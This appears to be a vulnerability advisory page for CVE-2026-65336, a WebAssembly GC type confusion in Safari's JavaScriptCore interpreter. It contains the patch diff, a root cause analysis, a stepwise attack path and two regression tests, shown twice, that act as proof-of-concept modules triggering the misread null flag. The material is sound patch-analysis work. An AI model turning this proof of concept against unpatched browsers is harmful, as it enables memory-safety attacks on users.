Released August 17, 2026

CVE-2026-65336

CVSS 4.3 severity medium CWE-20 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Overview

Impact:

Description: Processing maliciously crafted web content may lead to an unexpected Safari crash

Researchers: Josef Korbel

Key insight. The IPInt interpreter reconstructed the ref-cast allowNull flag from a fixed bytecode offset (loadb 2[PC]) instead of validated metadata, so casts could use the wrong nullability; storing allowNull in RefTestCastMetadata and reading it from there fixes the type confusion.

Patch Details

diff --git a/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js b/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
new file mode 100644
index 000000000000..751087b87498
--- /dev/null
+++ b/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
@@ -0,0 +1,75 @@
+"use strict";
+// Canonical and overlong LEB128 encodings of a GC sub-opcode must produce
+// identical execution semantics. This test checks that for br_on_cast_fail
+// with FLAGS=0x03 - divergence means IPInt is reading the flags byte from a
+// position the encoding moved.
+
+function uleb(n) { const o=[]; do { let b=n&0x7f; n>>>=7; if(n) b|=0x80; o.push(b); } while(n); return o; }
+function section(id, b) { return [id, ...uleb(b.length), ...b]; }
+function str(s) { return [s.length, ...Array.from(s, c => c.charCodeAt(0))]; }
+
+function buildModule(brOnCastFail) {
+    const typeSec = [
+        0x03,
+        0x5f, 0x00,                          // type 0: (struct)
+        0x60, 0x00, 0x00,                    // type 1: () -> void
+        0x60, 0x00, 0x01, 0x7f,              // type 2: () -> i32
+    ];
+    const funcSec = [0x02, 0x01, 0x02];
+    // global 0: (mut (ref null any)) init = (struct.new_default 0)
+    const globalSec = [0x01, 0x63, 0x6e, 0x01, 0xfb, 0x01, 0x00, 0x0b];
+    const exportSec = [
+        0x02,
+        ...str("poison"),      0x00, 0x00,
+        ...str("is_poisoned"), 0x00, 0x01,
+    ];
+    const poisonBody = [
+        0x00,
+        0x02, 0x63, 0x6e,                    // block (result (ref null any))
+            0xd0, 0x6e,                      //   ref.null any
+            ...brOnCastFail,                     //   br_on_cast_fail 0  (FLAGS=0x03 in either encoding)
+            0x1a,                            //   drop  (drops the (ref null 0) cast result)
+            0xfb, 0x01, 0x00,                //   struct.new_default 0
+            0x0c, 0x00,                      //   br 0
+        0x0b,
+        0x24, 0x00,                          // global.set 0
+        0x0b,
+    ];
+    const checkBody = [
+        0x00,
+        0x23, 0x00,                          // global.get 0
+        0xd1,                                // ref.is_null
+        0x0b,
+    ];
+    const codeSec = [
+        0x02,
+        ...uleb(poisonBody.length), ...poisonBody,
+        ...uleb(checkBody.length),  ...checkBody,
+    ];
+    return new Uint8Array([
+        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
+        ...section(1, typeSec),
+        ...section(3, funcSec),
+        ...section(6, globalSec),
+        ...section(7, exportSec),
+        ...section(10, codeSec),
+    ]);
+}
+
+//                       prefix sub-op            flags label ht1   ht2
+const CANONICAL = [0xfb, 0x19,            0x03, 0x00, 0x6e, 0x00];
+const OVERLONG  = [0xfb, 0x99,0x80,0x00,  0x03, 0x00, 0x6e, 0x00];
+
+const a = new WebAssembly.Instance(new WebAssembly.Module(buildModule(CANONICAL)));
+const b = new WebAssembly.Instance(new WebAssembly.Module(buildModule(OVERLONG)));
+
+a.exports.poison();
+b.exports.poison();
+
+const rA = a.exports.is_poisoned();
+const rB = b.exports.is_poisoned();
+
+if (rA !== rB)
+    throw new Error("LEB encoding of GC sub-opcode affects br_on_cast_fail semantics: "
+                    + "canonical=" + rA + " overlong=" + rB
+                    + " — IPInt reads flags from PC at hardcoded offset");
diff --git a/JSTests/wasm/stress/br-on-cast-overlong-leb128.js b/JSTests/wasm/stress/br-on-cast-overlong-leb128.js
new file mode 100644
index 000000000000..acb7d7784641
--- /dev/null
+++ b/JSTests/wasm/stress/br-on-cast-overlong-leb128.js
@@ -0,0 +1,75 @@
+"use strict";
+// Canonical and overlong LEB128 encodings of a GC sub-opcode must produce
+// identical execution semantics. This test checks that for br_on_cast with
+// FLAGS=0x03 - divergence means IPInt is reading the flags byte from a
+// position the encoding moved.
+
+function uleb(n) { const o=[]; do { let b=n&0x7f; n>>>=7; if(n) b|=0x80; o.push(b); } while(n); return o; }
+function section(id, b) { return [id, ...uleb(b.length), ...b]; }
+function str(s) { return [s.length, ...Array.from(s, c => c.charCodeAt(0))]; }
+
+function buildModule(brOnCast) {
+    const typeSec = [
+        0x03,
+        0x5f, 0x00,                          // type 0: (struct)
+        0x60, 0x00, 0x00,                    // type 1: () -> void
+        0x60, 0x00, 0x01, 0x7f,              // type 2: () -> i32
+    ];
+    const funcSec = [0x02, 0x01, 0x02];
+    // global 0: (mut (ref null 0)) init = (struct.new_default 0)
+    const globalSec = [0x01, 0x63, 0x00, 0x01, 0xfb, 0x01, 0x00, 0x0b];
+    const exportSec = [
+        0x02,
+        ...str("poison"),      0x00, 0x00,
+        ...str("is_poisoned"), 0x00, 0x01,
+    ];
+    const poisonBody = [
+        0x00,
+        0x02, 0x63, 0x00,                    // block (result (ref null 0))
+            0xd0, 0x6e,                      //   ref.null any
+            ...brOnCast,                     //   br_on_cast 0  (FLAGS=0x03 in either encoding)
+            0x1a,                            //   drop
+            0xfb, 0x01, 0x00,                //   struct.new_default 0  (only reached if cast missed)
+            0x0c, 0x00,                      //   br 0
+        0x0b,
+        0x24, 0x00,                          // global.set 0
+        0x0b,
+    ];
+    const checkBody = [
+        0x00,
+        0x23, 0x00,                          // global.get 0
+        0xd1,                                // ref.is_null
+        0x0b,
+    ];
+    const codeSec = [
+        0x02,
+        ...uleb(poisonBody.length), ...poisonBody,
+        ...uleb(checkBody.length),  ...checkBody,
+    ];
+    return new Uint8Array([
+        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
+        ...section(1, typeSec),
+        ...section(3, funcSec),
+        ...section(6, globalSec),
+        ...section(7, exportSec),
+        ...section(10, codeSec),
+    ]);
+}
+
+//                       prefix sub-op            flags label ht1   ht2
+const CANONICAL = [0xfb, 0x18,            0x03, 0x00, 0x6e, 0x00];
+const OVERLONG  = [0xfb, 0x98,0x80,0x00,  0x03, 0x00, 0x6e, 0x00];
+
+const a = new WebAssembly.Instance(new WebAssembly.Module(buildModule(CANONICAL)));
+const b = new WebAssembly.Instance(new WebAssembly.Module(buildModule(OVERLONG)));
+
+a.exports.poison();
+b.exports.poison();
+
+const rA = a.exports.is_poisoned();
+const rB = b.exports.is_poisoned();
+
+if (rA !== rB)
+    throw new Error("LEB encoding of GC sub-opcode affects br_on_cast semantics: "
+                    + "canonical=" + rA + " overlong=" + rB
+                    + " — IPInt reads flags from PC at hardcoded offset");
diff --git a/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm b/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
index 4833cb2b6f81..c572f822e86e 100644
--- a/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
+++ b/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
@@ -3585,9 +3585,7 @@ end)
 ipintOp(_br_on_cast, macro()
     validateOpcodeConfig(a1)
     loadi IPInt::RefTestCastMetadata::toHeapType[MC], a1
-    # fb 18 FLAGS
-    loadb 2[PC], a2
-    rshifti 1, a2  # bit 1 = null2
+    loadb IPInt::RefTestCastMetadata::allowNull[MC], a2
     loadq [sp], a3
     operationCall(macro() cCall3(_ipint_extern_ref_test) end)
 
@@ -3603,9 +3601,7 @@ end)
 ipintOp(_br_on_cast_fail, macro()
     validateOpcodeConfig(a1)
     loadi IPInt::RefTestCastMetadata::toHeapType[MC], a1
-    loadb 2[PC], a2
-    # fb 19 FLAGS
-    rshifti 1, a2  # bit 1 = null2
+    loadb IPInt::RefTestCastMetadata::allowNull[MC], a2
     loadq [sp], a3
     operationCall(macro() cCall3(_ipint_extern_ref_test) end)
 
diff --git a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
index fde5d1d88718..3cc1d04b57a4 100644
--- a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
+++ b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
@@ -1368,20 +1368,22 @@ WARN_UNUSED_RETURN PartialResult IPIntGenerator::addStructSet(ExpressionType, co
     return { };
 }
 
-WARN_UNUSED_RETURN PartialResult IPIntGenerator::addRefTest(ExpressionType, bool, int32_t heapType, bool, ExpressionType&)
+WARN_UNUSED_RETURN PartialResult IPIntGenerator::addRefTest(ExpressionType, bool allowNull, int32_t heapType, bool, ExpressionType&)
 {
     m_metadata->appendMetadata<IPInt::RefTestCastMetadata>({

Background

Advisory: Apple Security Advisory

Attribute Value
CVE CVE-2026-65336
Bugzilla 317349
Component JSC
Bug Class TypeConfusion
Severity medium
Commit 5b76326e8fc95ec2…
Advisory Apple Advisory

Terminology

  • ref.test / ref.cast (WASM GC) — Instructions that test/cast a reference to a target heap type, with an allowNull flag deciding whether null matches.
  • In-Place Interpreter (IPInt) — JSC’s low-level WASM interpreter driven by metadata; it must read instruction operands from validated metadata, not ad-hoc bytecode offsets.
  • RefTestCastMetadata — The per-instruction metadata for ref cast/test; it must carry allowNull so the interpreter uses the correct semantics.

Root Cause Analysis

This fixes a WebAssembly GC type-confusion in the In-Place Interpreter (IPInt) where the ‘allow null’ flag for ref.test/ref.cast/br_on_cast was read from the wrong place. ref.test/ref.cast (and br_on_cast/br_on_cast_fail) check whether a reference matches a target heap type, parameterized by allowNull (whether a null reference satisfies the cast). Pre-patch, the IPInt generator (addRefTest/addRefCast/addBranchCast) IGNORED the allowNull argument and did not store it in RefTestCastMetadata, and the interpreter (InPlaceInterpreter64.asm) instead tried to recover the null bit directly from the bytecode stream — loadb 2[PC] then rshifti 1 (bit 1) — a fragile, incorrect read of a flags byte at a fixed PC offset. As a result the effective allowNull used at runtime could be wrong, so a null reference could be accepted by a non-nullable cast (or a nullable cast mis-evaluated), yielding a value of the wrong nullability/type where a valid typed reference is expected — a type confusion. The fix threads allowNull properly: RefTestCastMetadata gains a uint8_t allowNull field, the generator stores static_cast<uint8_t>(allowNull) for ref.test/ref.cast/br_on_cast, and the interpreter loads it from validated metadata (loadb IPInt::RefTestCastMetadata::allowNull[MC]) instead of the ad-hoc 2[PC] bit-shift. The restored invariant is that the null-allowed semantics of a ref cast/test come from the validated metadata emitted by the generator, not a mis-derived bytecode byte.

Attack Path

1. Run a ref.cast/ref.test in IPInt

Execute WASM GC casts (ref.cast/ref.test/br_on_cast) under the In-Place Interpreter.

2. Exploit the mis-read null flag

Because the interpreter derived allowNull from the wrong bytecode byte, arrange a cast whose effective nullability is wrong.

3. Slip a null / wrong-typed ref through

A null (or wrong-nullability) reference is accepted by a cast that should reject it, or a non-null cast is mis-evaluated.

4. Type confusion

The mistyped reference is used as a valid typed reference, a memory-safety violation crashing the WebContent process.

Impact Assessment

A WebAssembly GC type-confusion in the WebContent process, reachable from crafted WASM using ref.cast/ref.test. Mis-evaluating nullability lets a null or wrong-typed reference pass a cast, producing a mistyped reference — a memory-safety primitive the advisory rates as a crash.

Audit Directions

Operand provenance in IPInt

Audit InPlaceInterpreter*.asm for operands recovered via loadb N[PC]/bit-shifts rather than named metadata fields; each is a chance to read the wrong byte.

Generator/interpreter metadata parity

Grep IPIntGenerator for instruction args (flags) that are accepted but not stored into the corresponding *Metadata the interpreter reads.

Changed Functions

Function File Change Note
IPIntGenerator::addRefTest / addRefCast / addBranchCast Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp modified Store the allowNull flag into RefTestCastMetadata instead of ignoring it.
RefTestCastMetadata Source/JavaScriptCore/wasm/WasmIPIntGenerator.h modified Adds a uint8_t allowNull field carrying the validated null-allowed semantics.
ipintOp _br_on_cast / _br_on_cast_fail (and ref.test/cast) Source/JavaScriptCore/llint/InPlaceInterpreter64.asm modified Reads allowNull from RefTestCastMetadata (loadb …::allowNull[MC]) instead of the fragile loadb 2[PC]/rshifti-1 bytecode bit.

Files Changed

Source Files

  • Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
  • Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
  • Source/JavaScriptCore/wasm/WasmIPIntGenerator.h

Test Files

  • JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
  • JSTests/wasm/stress/br-on-cast-overlong-leb128.js

Regression Test

The fix ships this proof-of-concept / regression test:

diff --git a/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js b/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
new file mode 100644
index 000000000000..751087b87498
--- /dev/null
+++ b/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
@@ -0,0 +1,75 @@
+"use strict";
+// Canonical and overlong LEB128 encodings of a GC sub-opcode must produce
+// identical execution semantics. This test checks that for br_on_cast_fail
+// with FLAGS=0x03 - divergence means IPInt is reading the flags byte from a
+// position the encoding moved.
+
+function uleb(n) { const o=[]; do { let b=n&0x7f; n>>>=7; if(n) b|=0x80; o.push(b); } while(n); return o; }
+function section(id, b) { return [id, ...uleb(b.length), ...b]; }
+function str(s) { return [s.length, ...Array.from(s, c => c.charCodeAt(0))]; }
+
+function buildModule(brOnCastFail) {
+    const typeSec = [
+        0x03,
+        0x5f, 0x00,                          // type 0: (struct)
+        0x60, 0x00, 0x00,                    // type 1: () -> void
+        0x60, 0x00, 0x01, 0x7f,              // type 2: () -> i32
+    ];
+    const funcSec = [0x02, 0x01, 0x02];
+    // global 0: (mut (ref null any)) init = (struct.new_default 0)
+    const globalSec = [0x01, 0x63, 0x6e, 0x01, 0xfb, 0x01, 0x00, 0x0b];
+    const exportSec = [
+        0x02,
+        ...str("poison"),      0x00, 0x00,
+        ...str("is_poisoned"), 0x00, 0x01,
+    ];
+    const poisonBody = [
+        0x00,
+        0x02, 0x63, 0x6e,                    // block (result (ref null any))
+            0xd0, 0x6e,                      //   ref.null any
+            ...brOnCastFail,                     //   br_on_cast_fail 0  (FLAGS=0x03 in either encoding)
+            0x1a,                            //   drop  (drops the (ref null 0) cast result)
+            0xfb, 0x01, 0x00,                //   struct.new_default 0
+            0x0c, 0x00,                      //   br 0
+        0x0b,
+        0x24, 0x00,                          // global.set 0
+        0x0b,
+    ];
+    const checkBody = [
+        0x00,
+        0x23, 0x00,                          // global.get 0
+        0xd1,                                // ref.is_null
+        0x0b,
+    ];
+    const codeSec = [
+        0x02,
+        ...uleb(poisonBody.length), ...poisonBody,
+        ...uleb(checkBody.length),  ...checkBody,
+    ];
+    return new Uint8Array([
+        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
+        ...section(1, typeSec),
+        ...section(3, funcSec),
+        ...section(6, globalSec),
+        ...section(7, exportSec),
+        ...section(10, codeSec),
+    ]);
+}
+
+//                       prefix sub-op            flags label ht1   ht2
+const CANONICAL = [0xfb, 0x19,            0x03, 0x00, 0x6e, 0x00];
+const OVERLONG  = [0xfb, 0x99,0x80,0x00,  0x03, 0x00, 0x6e, 0x00];
+
+const a = new WebAssembly.Instance(new WebAssembly.Module(buildModule(CANONICAL)));
+const b = new WebAssembly.Instance(new WebAssembly.Module(buildModule(OVERLONG)));
+
+a.exports.poison();
+b.exports.poison();
+
+const rA = a.exports.is_poisoned();
+const rB = b.exports.is_poisoned();
+
+if (rA !== rB)
+    throw new Error("LEB encoding of GC sub-opcode affects br_on_cast_fail semantics: "
+                    + "canonical=" + rA + " overlong=" + rB
+                    + " — IPInt reads flags from PC at hardcoded offset");
diff --git a/JSTests/wasm/stress/br-on-cast-overlong-leb128.js b/JSTests/wasm/stress/br-on-cast-overlong-leb128.js
new file mode 100644
index 000000000000..acb7d7784641
--- /dev/null
+++ b/JSTests/wasm/stress/br-on-cast-overlong-leb128.js
@@ -0,0 +1,75 @@
+"use strict";
+// Canonical and overlong LEB128 encodings of a GC sub-opcode must produce
+// identical execution semantics. This test checks that for br_on_cast with
+// FLAGS=0x03 - divergence means IPInt is reading the flags byte from a
+// position the encoding moved.
+
+function uleb(n) { const o=[]; do { let b=n&0x7f; n>>>=7; if(n) b|=0x80; o.push(b); } while(n); return o; }
+function section(id, b) { return [id, ...uleb(b.length), ...b]; }
+function str(s) { return [s.length, ...Array.from(s, c => c.charCodeAt(0))]; }
+
+function buildModule(brOnCast) {
+    const typeSec = [
+        0x03,
+        0x5f, 0x00,                          // type 0: (struct)
+        0x60, 0x00, 0x00,                    // type 1: () -> void
+        0x60, 0x00, 0x01, 0x7f,              // type 2: () -> i32
+    ];
+    const funcSec = [0x02, 0x01, 0x02];
+    // global 0: (mut (ref null 0)) init = (struct.new_default 0)
+    const globalSec = [0x01, 0x63, 0x00, 0x01, 0xfb, 0x01, 0x00, 0x0b];
+    const exportSec = [
+        0x02,
+        ...str("poison"),      0x00, 0x00,
+        ...str("is_poisoned"), 0x00, 0x01,
+    ];
+    const poisonBody = [
+        0x00,
+        0x02, 0x63, 0x00,                    // block (result (ref null 0))
+            0xd0, 0x6e,                      //   ref.null any
+            ...brOnCast,                     //   br_on_cast 0  (FLAGS=0x03 in either encoding)
+            0x1a,                            //   drop
+            0xfb, 0x01, 0x00,                //   struct.new_default 0  (only reached if cast missed)
+            0x0c, 0x00,                      //   br 0
+        0x0b,
+        0x24, 0x00,                          // global.set 0
+        0x0b,
+    ];
+    const checkBody = [
+        0x00,
+        0x23, 0x00,                          // global.get 0
+        0xd1,                                // ref.is_null
+        0x0b,
+    ];
+    const codeSec = [
+        0x02,
+        ...uleb(poisonBody.length), ...poisonBody,
+        ...uleb(checkBody.length),  ...checkBody,
+    ];
+    return new Uint8Array([
+        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
+        ...section(1, typeSec),
+        ...section(3, funcSec),
+        ...section(6, globalSec),
+        ...section(7, exportSec),
+        ...section(10, codeSec),
+    ]);
+}
+
+//                       prefix sub-op            flags label ht1   ht2
+const CANONICAL = [0xfb, 0x18,            0x03, 0x00, 0x6e, 0x00];
+const OVERLONG  = [0xfb, 0x98,0x80,0x00,  0x03, 0x00, 0x6e, 0x00];
+
+const a = new WebAssembly.Instance(new WebAssembly.Module(buildModule(CANONICAL)));
+const b = new WebAssembly.Instance(new WebAssembly.Module(buildModule(OVERLONG)));
+
+a.exports.poison();
+b.exports.poison();
+
+const rA = a.exports.is_poisoned();
+const rB = b.exports.is_poisoned();
+
+if (rA !== rB)
+    throw new Error("LEB encoding of GC sub-opcode affects br_on_cast semantics: "
+                    + "canonical=" + rA + " overlong=" + rB
+                    + " — IPInt reads flags from PC at hardcoded offset");